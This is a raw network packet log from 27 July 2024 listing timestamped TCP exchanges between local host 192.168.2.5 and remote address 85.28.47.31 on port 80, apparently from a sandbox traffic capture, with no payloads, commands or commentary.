Jul 27, 2024 09:25:08.048602104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048620939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048655033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048667908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048686981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048701048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048719883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048729897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048752069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048764944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048785925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048799038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048831940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.048918009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048968077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.048985004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049000025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049026012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049032927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049036026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049065113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049077034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049098015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049113989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049130917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049148083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049165010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049180031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049197912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049213886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049231052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049248934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049263000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049280882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049295902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049312115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049326897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049344063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049361944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049375057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049393892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049410105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049426079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049443960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049458027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049473047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049489975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049505949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049525023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049539089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049561977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049575090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049592972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049613953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049624920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049640894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049658060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049676895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049690962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049702883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049736977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049755096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049773932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049788952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049808025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049829006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049854994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049856901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049889088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049911976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049921036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049938917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049953938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.049971104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.049987078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050004005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050036907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050040007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050090075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050091028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050123930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050137997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050158024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050179005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050192118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050208092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050225019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050240993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050260067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050273895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050293922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050304890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050326109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050342083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050362110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050376892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050395012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050411940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050426960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050441980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050458908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050476074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050493002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050508022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050525904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050543070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050559044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050575018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050592899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050609112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050626993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050642014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050659895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050677061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050693989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050710917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050729036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050744057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050761938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050779104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050796032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050810099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050827980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050846100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050862074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050878048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050894976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.050915003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.050940037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.051088095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.051121950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.051140070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.051153898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.051170111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.051187038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.051203966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.051219940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.051237106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.051253080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.051269054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.051286936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.051301956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.051320076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.051336050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.051352978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.051367044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.051384926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.051402092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.051417112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.051434040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.051450968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.051464081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.051498890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.051758051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.051814079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.052809000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.052834034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.052849054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.052855968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.052875042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.052886009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.052936077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.052951097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.052967072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.052992105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.053016901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.056797028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.056829929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.056847095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.056855917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.056869030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.056870937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.056889057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.056890965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.056905031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.056911945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.056921959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.056930065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.056942940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.056962967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057270050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057287931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057321072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057327986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057331085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057343960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057384014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057387114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057399988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057415962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057425022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057452917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057574034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057590008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057604074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057620049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057622910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057635069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057642937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057651997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057668924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057668924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057693958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057717085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057722092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057732105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057746887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057764053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057770014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057785988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057795048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057801962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057812929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057816982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057823896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057832003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057843924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057848930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.057867050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057879925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.057900906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058072090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058087111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058101892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058118105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058126926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058132887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058149099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058155060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058163881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058167934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058180094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058187962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058207989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058219910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058222055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058233976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058249950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058273077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058273077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058288097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058298111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058304071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058317900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058322906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058335066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058342934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058362007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058500051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058516026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058531046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058546066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058554888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058562040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058577061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058578968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058593988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058600903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058614016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058621883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058629990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.058640957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058660984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.058667898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.140419006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.145623922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.324465036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.324542046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.324605942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.324644089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.324676991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.324688911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.324712992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.324726105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.324757099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.324764967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.324800014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.324809074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.324832916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.324841022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.324876070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.324883938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.324918032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.324928999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.324950933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.324958086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.324994087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325009108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325042963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325053930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325074911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325083971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325107098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325114012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325139046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325146914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325172901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325182915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325206995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325212002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325238943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325268984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325272083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325279951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325305939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325313091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325337887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325349092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325371981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325378895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325404882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325426102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325438023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325440884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325469971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325483084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325504065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325514078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325536013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325546026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325579882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325588942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325618982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325634003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325653076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325661898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325685024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325699091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325719118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325731039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325754881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.325757980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.325850010 CEST	49704	80	192.168.2.5	85.28.47.31
